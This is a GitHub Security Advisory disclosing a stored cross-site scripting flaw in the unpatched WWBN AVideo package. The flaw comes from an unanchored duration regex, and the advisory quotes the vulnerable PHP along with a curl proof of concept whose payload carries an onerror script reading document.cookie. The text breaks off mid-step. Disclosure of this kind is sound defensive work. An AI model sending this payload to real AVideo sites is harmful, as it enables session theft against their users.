GitHub Security Advisory: GHSA-8pv3-29pp-pf8f
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 29.0
Patched in: unpatched

Summary: WWBN AVideo has Stored XSS via Unanchored Duration Regex in Video Encoder Receiver

Details:
## Summary

The `isValidDuration()` regex at `objects/video.php:918` uses `/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/` without a `$` end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via `echo Video::getCleanDuration()` on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting.

## Details

**Input entry point:** `objects/aVideoEncoderReceiveImage.json.php:208`

```php
// Line 203-211
if (!empty($_REQUEST['duration'])) {
    $video->setDuration($_REQUEST['duration']);
}
```

**Insufficient validation:** `objects/video.php:918`

```php
static function isValidDuration($duration) {
    // ...
    return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);
    //     Missing $ anchor here -----------------------------------^
}
```

The regex matches `00:00:01` at the start of the string but ignores everything after it. A payload like `00:00:01</time><img src=x onerror=alert(1)><time>` passes validation.

**No sanitization in output function:** `objects/video.php:3463-3480`

```php
public static function getCleanDuration($duration = "") {
    $durationParts = explode(".", $duration);
    $duration = $durationParts[0];
    $durationParts = explode(':', $duration);
    if (count($durationParts) == 1) {
        return '0:00:' . static::addZero($durationParts[0]);
    } elseif (count($durationParts) == 2) {
        return '0:' . static::addZero($durationParts[0]) . ':' . static::addZero($durationParts[1]);
    }
    return $duration; // Returns full string unmodified for 3+ colon parts
}
```

With the payload `00:00:01</time><img src=x onerror=alert(1)><time>`, exploding by `:` yields 3+ parts, so the full unsanitized string is returned.

**Unescaped output sinks:**

1. `view/trending.php:72`:
```php
<time class="duration"><?php echo Video::getCleanDuration($value['duration']); ?></time>
```

2. `view/include/playlist.php:159`:
```php
<time class="duration"><?php echo Video::getCleanDuration(@$value['duration']); ?></time>
```

3. `objects/video.php:7200` (gallery thumbnail generation):
```php
$img .= "<time class=\"duration\"...>" . $duration . "</time>";
```

No Content-Security-Policy headers are set. The application uses raw PHP templates with no auto-escaping framework.

## PoC

1. Authenticate as a user with upload permission and obtain a `video_id_hash` for a video (visible in encoder API responses or via the upload flow).

2. Send the malicious duration:

```bash
curl -X POST "https://target/objects/aVideoEncoderReceiveImage.json.php" \
  -d "videos_id=VIDEO_ID" \
  -d "video_id_hash=HASH" \
  -d 'duration=00:00:01</time><img src=x onerror=alert(document.cookie)><time>'
```

3. The `isValidDuration()` regex matches the `00:00:01` prefix and allows the full string to be stored.

4. Visit the trending page (`/view/trending.php`) or any playlist containing the poisoned video. Th